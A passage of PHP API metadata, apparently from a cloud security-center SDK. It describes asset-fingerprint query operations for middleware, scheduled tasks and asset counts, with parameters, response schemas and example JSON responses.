'web站点:操作用户', 'description' => 'Web site user. '."\n" .'> Only returned when **Biz** is **web_server**.', 'type' => 'string', 'example' => 'root', ], 'PathMode' => [ 'title' => 'web站点:目录权限', 'description' => 'Web site directory permissions. '."\n" .'> Only returned when **Biz** is **web_server**.', 'type' => 'string', 'example' => '755', ], 'InstanceId' => [ 'title' => '机器信息:实例id', 'description' => 'The instance ID of the server.', 'type' => 'string', 'example' => 'i-hp35tftuh52wbp1g****', ], 'IntranetIp' => [ 'title' => '机器信息:私网ip', 'description' => 'The private IP address of the server.', 'type' => 'string', 'example' => '100.104.XX.XX', ], 'InternetIp' => [ 'title' => '机器信息:公网ip', 'description' => 'The public IP address of the server.', 'type' => 'string', 'example' => '47.42.XX.XX', ], 'Ip' => [ 'title' => '机器信息:机器ip', 'description' => 'The IP address of the server.', 'type' => 'string', 'example' => '47.42.XX.XX', ], 'Uuid' => [ 'title' => '机器信息:uuid', 'description' => 'The UUID of the server.', 'type' => 'string', 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', ], 'InstanceName' => [ 'title' => '机器信息:实例名称', 'description' => 'The name of the server instance.', 'type' => 'string', 'example' => 'hc-host-****', ], 'RegionId' => [ 'title' => '机器信息:地域id', 'description' => 'The ID of the region where the instance is located.', 'type' => 'string', 'example' => 'cn-hangzhou', ], 'CreateTimestamp' => [ 'title' => '扫描时间戳', 'description' => 'The timestamp of the latest asset fingerprint scan, in milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1649149566000', ], 'ImageName' => [ 'title' => '镜像名称', 'description' => 'Image name.', 'type' => 'string', 'example' => 'registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller****', ], 'ContainerName' => [ 'title' => '容器名称', 'description' => 'Container name.', 'type' => 'string', 'example' => '5-rce_web_1', ], 'ModelName' => [ 'description' => 'Name of the large model vendor', 'type' => 'string', 'example' => 'OpenAI', ], 'EndPoint' => [ 'description' => 'Large model service request interface address.', 'type' => 'string', 'example' => 'dashscope.aliyuncs.com', ], 'File' => [ 'description' => 'File path for requesting the large model service.', 'type' => 'string', 'example' => '/root/llm.py', ], 'MiddlewareName' => [ 'description' => 'AI tool name', 'type' => 'string', 'example' => 'vllm', ], 'MiddlewareVersion' => [ 'description' => 'AI tool version.', 'type' => 'string', 'example' => '1.0.1', ], 'InstallationPath' => [ 'description' => 'AI tool installation path', 'type' => 'string', 'example' => '/etc/pip3/env/vllm', ], 'RepoName' => [ 'title' => '镜像的RepoName', 'type' => 'string', 'example' => 'ACR-Example', ], 'RepoNamespace' => [ 'title' => '镜像Repo命名空间', 'type' => 'string', 'example' => 'Default', ], 'Tag' => [ 'title' => '标签', 'type' => 'string', 'example' => 'AI', ], 'ImageDigest' => [ 'title' => '镜像Digest', 'type' => 'string', 'example' => 'ImageDigest', ], 'Agent' => [ 'type' => 'string', ], 'SkillsName' => [ 'type' => 'string', ], 'McpName' => [ 'type' => 'string', ], 'Description' => [ 'type' => 'string', ], 'TransportName' => [ 'type' => 'string', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4C1AE3F3-18FA-4108-BBB9-AFA1A032****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 23,\\n \\"Count\\": 20,\\n \\"NextToken\\": \\"AAAAAV3MpHK1AP0pfERHZN5pu6k+AtdhNE3kgQEK36GujZ5on+tWdc+4WoaoMP/kUNxxxx\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"ModuleName\\": \\"alihids\\",\\n \\"Size\\": 10,\\n \\"Filepath\\": \\"/lib/modules/4****\\",\\n \\"UsedByCount\\": 0,\\n \\"Path\\": \\"/lib/systemd/system****\\",\\n \\"ServerType\\": \\"nginx\\",\\n \\"Port\\": \\"80\\",\\n \\"Pid\\": \\"813\\",\\n \\"ListenProtocol\\": \\"tcp\\",\\n \\"ProcessStarted\\": 1671186801000,\\n \\"WebPath\\": \\"/usr/share/nginx/html\\",\\n \\"Domain\\": \\"localhost\\",\\n \\"User\\": \\"root\\",\\n \\"PathMode\\": \\"755\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\",\\n \\"InternetIp\\": \\"47.42.XX.XX\\",\\n \\"Ip\\": \\"47.42.XX.XX\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"CreateTimestamp\\": 1649149566000,\\n \\"ImageName\\": \\"registry-vpc.cn-beijing.aliyuncs.com/acs/aliyun-ingress-controller****\\",\\n \\"ContainerName\\": \\"5-rce_web_1\\",\\n \\"ModelName\\": \\"阿里云百炼\\",\\n \\"EndPoint\\": \\"dashscope.aliyuncs.com\\",\\n \\"File\\": \\"/root/llm.py\\",\\n \\"MiddlewareName\\": \\"vllm\\",\\n \\"MiddlewareVersion\\": \\"1.0.1\\",\\n \\"InstallationPath\\": \\"/etc/pip3/env/vllm\\",\\n \\"RepoName\\": \\"ACR-Example\\",\\n \\"RepoNamespace\\": \\"Default\\",\\n \\"Tag\\": \\"AI\\",\\n \\"ImageDigest\\": \\"ImageDigest\\",\\n \\"Agent\\": \\"\\",\\n \\"SkillsName\\": \\"\\",\\n \\"McpName\\": \\"\\",\\n \\"Description\\": \\"\\",\\n \\"TransportName\\": \\"\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'Query Asset Fingerprint Details List', 'translator' => 'machine', ], 'DescribePropertyTypeScaItem' => [ 'summary' => 'Queries middleware types.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'B7A839E8-70AE-591D-8D9E-C5419A22****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'PropertyTypeItems' => [ 'description' => 'An array that consists of the middleware types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the middleware type.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the middleware. Valid values:'."\n" ."\n" .'* **system_service**: system service'."\n" .'* **software_library**: software library'."\n" .'* **docker_component**: container component'."\n" .'* **database**: database'."\n" .'* **web_container**: web container'."\n" .'* **jar**: JAR package'."\n" .'* **web_framework**: web framework'."\n", 'type' => 'string', 'example' => 'docker_component', ], 'Name' => [ 'description' => 'The name of the middleware type.'."\n", 'type' => 'string', 'example' => 'Docker Component', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B7A839E8-70AE-591D-8D9E-C5419A22****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 20\\n },\\n \\"PropertyTypeItems\\": [\\n {\\n \\"Type\\": \\"docker_component\\",\\n \\"Name\\": \\"Docker Component\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribePropertyTypeScaItem', ], 'DescribePropertyCronItem' => [ 'summary' => 'Queries the scheduled tasks of your assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'ForceFlush', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to forcefully refresh the data that you want to query. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The path to the scheduled task.'."\n", 'type' => 'string', 'required' => false, 'example' => '/data', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '291B49F9-1685-4005-9D34-606B6F78****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], ], ], 'PropertyItems' => [ 'description' => 'An array that consists of scheduled tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the scheduled task.'."\n", 'type' => 'object', 'properties' => [ 'Source' => [ 'description' => 'The path to the scheduled task.'."\n", 'type' => 'string', 'example' => '/data', ], 'Count' => [ 'description' => 'The number of servers on which the scheduled task is run.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '23', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"291B49F9-1685-4005-9D34-606B6F78****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 11,\\n \\"Count\\": 11\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"Source\\": \\"/data\\",\\n \\"Count\\": 23\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribePropertyCronItem', ], 'DescribePropertyScaItem' => [ 'summary' => 'Queries middleware fingerprints.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92158', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], [ 'name' => 'ForceFlush', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to forcefully refresh the data that you want to query. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'Biz', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset fingerprint that you want to query. Default value: **sca**. Valid values:'."\n" ."\n" .'* **sca**: middleware'."\n" .'* **sca_database**: database'."\n" .'* **sca_web**: web service'."\n" ."\n" .'> If you do not specify this parameter, the default value **sca** is used, which indicates that middleware fingerprints are queried.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sca', ], ], [ 'name' => 'SearchItem', 'in' => 'query', 'schema' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **name**: the name of a database, middleware, or web service'."\n" .'* **type**: the type of a database, middleware, or web service'."\n" ."\n" .'> You must specify both the **SearchItem** and **SearchInfo** parameters before you can query the asset fingerprints based on the specified name or type.'."\n", 'type' => 'string', 'required' => false, 'example' => 'type', 'docRequired' => true, ], ], [ 'name' => 'SearchInfo', 'in' => 'query', 'schema' => [ 'description' => 'The search keyword. You must specify this parameter based on the value of the **SearchItem** parameter.'."\n" ."\n" .'* If the **SearchItem** parameter is set to **name**, you must enter the name of an asset fingerprint.'."\n" ."\n" .'* If the **SearchItem** parameter is set to **type**, you must enter the type of an asset fingerprint. Valid values:'."\n" ."\n" .' * **system_service**: system service'."\n" .' * **software_library**: software library'."\n" .' * **docker_component**: container component'."\n" .' * **database**: database'."\n" .' * **web_container**: web container'."\n" .' * **jar**: JAR package'."\n" .' * **web_framework**: web framework'."\n" ."\n" .'> You must specify both the **SearchItem** and **SearchInfo** parameters before you can query the asset fingerprints based on the specified name or type.'."\n", 'type' => 'string', 'required' => false, 'example' => 'system_service', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3F4236AB-7070-538D-85EB-98EBFE6C****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '27', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], 'PropertyItems' => [ 'description' => 'An array that consists of the information about middleware fingerprints.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about middleware fingerprints.'."\n", 'type' => 'object', 'properties' => [ 'TypeDisplay' => [ 'description' => 'The display name of the middleware type.'."\n", 'type' => 'string', 'example' => 'Docker Component', ], 'Name' => [ 'description' => 'The name of the middleware.'."\n", 'type' => 'string', 'example' => 'kubelet', ], 'Count' => [ 'description' => 'The number of servers on which the middleware is run.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '23', ], 'BizType' => [ 'description' => 'The type of the middleware, database, or web service. Valid values:'."\n" ."\n" .'* **system_service**: system service'."\n" .'* **software_library**: software library'."\n" .'* **docker_component**: container component'."\n" .'* **database**: database'."\n" .'* **web_container**: web container'."\n" .'* **jar**: JAR package'."\n" .'* **web_framework**: web framework'."\n", 'type' => 'string', 'example' => 'docker_component', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3F4236AB-7070-538D-85EB-98EBFE6C****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 27,\\n \\"Count\\": 20\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"TypeDisplay\\": \\"Docker Component\\",\\n \\"Name\\": \\"kubelet\\",\\n \\"Count\\": 23,\\n \\"BizType\\": \\"docker_component\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribePropertyScaItem', ], 'DescribePropertyCronDetail' => [ 'summary' => 'Query Asset Fingerprint Scheduled Task Details', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The name or IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The path to the scheduled task.'."\n", 'type' => 'string', 'required' => false, 'example' => '/etc/cron.d/root', ], ], [ 'name' => 'User', 'in' => 'query', 'schema' => [ 'description' => 'The username of the account that runs the scheduled task.'."\n", 'type' => 'string', 'required' => false, 'example' => 'root', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'Extend', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether fuzzy search by path to the scheduled task is supported. If you want to use fuzzy search, set the parameter to **1**. If you set the parameter to a different value or leave the parameter empty, fuzzy search is not supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'UseNextToken', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to use the NextToken method to retrieve a new page of results. If you set UseNextToken to true, the value of TotalCount is not returned. Valid values:'."\n" ."\n" .'- **true**: The NextToken method is used.'."\n" .'- **false**: The NextToken method is not used.', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'description' => 'The value of NextToken that is returned when the NextToken method is used. You do not need to specify this parameter for the first request.', 'type' => 'string', 'required' => false, 'example' => '1426C575705AE8545E8360A6EFA3B***', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'B0C4E12E-CCE1-109D-9E62-7B95CBBAEF8C', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NextToken' => [ 'description' => 'The value of NextToken that is returned when the NextToken method is used.', 'type' => 'string', 'example' => 'B604532DEF982B875E8360A6EFA3B***', ], ], ], 'Propertys' => [ 'description' => 'The details of the scheduled tasks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details of the scheduled tasks.'."\n", 'type' => 'object', 'properties' => [ 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'Ip' => [ 'description' => 'The IP addresses of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'User' => [ 'description' => 'The username of the account that runs the scheduled task.'."\n", 'type' => 'string', 'example' => 'root', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-hp35tftuh52wbp1g****', ], 'Source' => [ 'description' => 'The path to the scheduled task.'."\n", 'type' => 'string', 'example' => '/etc/cron.d/root', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '100.104.XX.XX', ], 'Cmd' => [ 'description' => 'The command that is used to run the scheduled task.'."\n", 'type' => 'string', 'example' => '/usr/lib64/sa/sa1 1 1', ], 'Period' => [ 'description' => 'The interval at which the scheduled task is performed.'."\n", 'type' => 'string', 'example' => '*/10 * * * *', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'hc-host-****', ], 'Md5' => [ 'description' => 'The MD5 hash value of the path to the scheduled task.'."\n", 'type' => 'string', 'example' => '4cc8f97c2bf9cbabb2c2be2erqw****', ], 'CreateTimestamp' => [ 'description' => 'The timestamp of the last fingerprint collection. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1649149566000', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"B0C4E12E-CCE1-109D-9E62-7B95CBBAEF8C\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"User\\": \\"root\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"Source\\": \\"/etc/cron.d/root\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\",\\n \\"Cmd\\": \\"/usr/lib64/sa/sa1 1 1\\",\\n \\"Period\\": \\"*/10 * * * *\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"Md5\\": \\"4cc8f97c2bf9cbabb2c2be2erqw****\\",\\n \\"CreateTimestamp\\": 1649149566000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n B0C4E12E-CCE1-109D-9E62-7B95CBBAEF8C\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 2022-04-05 17:06:06\\n 192.168.XX.XX\\n 192.168.XX.XX\\n root\\n i-hp35tftuh52wbp1g****\\n /etc/cron.d/root\\n 100.104.XX.XX\\n /usr/lib64/sa/sa1 1 1\\n */10 * * * *\\n 162eb349-c2d9-4f8b-805c-75b43d4c****\\n hc-host-****\\n 4cc8f97c2bf9cbabb2c2be2erqw****\\n 1649149566000\\n \\n","errorExample":""}]', 'title' => 'Query Asset Fingerprint Investigation Task List Details', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribePropertyCount' => [ 'summary' => 'Queries the statistics of asset fingerprints. The assets include processes, ports, software, accounts, middleware, websites, web services, scheduled tasks, startup items, and databases.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], 'autoTest' => true, 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset fingerprints. Separate multiple types with commas (,). Valid values:'."\n" ."\n" .'* **port**: port'."\n" .'* **process**: process'."\n" .'* **software**: software'."\n" .'* **user**: account'."\n" .'* **cron**: scheduled task'."\n" .'* **sca**: middleware'."\n" .'* **web**: website'."\n" .'* **database**: database'."\n" .'* **lkm**: kernel module'."\n" .'* **autorun**: startup item'."\n" .'* **web_server**: web service'."\n", 'type' => 'string', 'required' => false, 'example' => 'port,process', ], ], [ 'name' => 'UuidList', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of the assets. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => '9658314a-7609-4426-afc4-2c924072****,'."\n" .'9658314a-7609-4426-afc4-2c924072****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Process' => [ 'description' => 'The number of processes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '367', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'User' => [ 'description' => 'The number of accounts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '214', ], 'Software' => [ 'description' => 'The number of software assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '111', ], 'Cron' => [ 'description' => 'The number of scheduled tasks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '123', ], 'Port' => [ 'description' => 'The number of ports.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '22', ], 'Sca' => [ 'description' => 'The number of middleware assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '112', ], 'Web' => [ 'description' => 'The number of websites.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '65', ], 'Database' => [ 'description' => 'The number of databases.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Lkm' => [ 'description' => 'The number of kernel modules.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'Autorun' => [ 'description' => 'The number of startup items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'Webserver' => [ 'description' => 'The number of web services.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '8', ], 'AgentlessScaAiComponent' => [ 'description' => 'The number of AI tools.', 'type' => 'integer', 'format' => 'int32', 'example' => '13', ], 'AgentlessLlmService' => [ 'description' => 'The number of AI services.', 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Process\\": 367,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"User\\": 214,\\n \\"Software\\": 111,\\n \\"Cron\\": 123,\\n \\"Port\\": 22,\\n \\"Sca\\": 112,\\n \\"Web\\": 65,\\n \\"Database\\": 2,\\n \\"Lkm\\": 4,\\n \\"Autorun\\": 3,\\n \\"Webserver\\": 8,\\n \\"AgentlessScaAiComponent\\": 13,\\n \\"AgentlessLlmService\\": 3\\n}","type":"json"}]', 'title' => 'DescribePropertyCount', 'translator' => 'machine', ], 'DescribePropertyPortDetail' => [ 'summary' => 'Query Details of Asset Fingerprint Port Collection', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 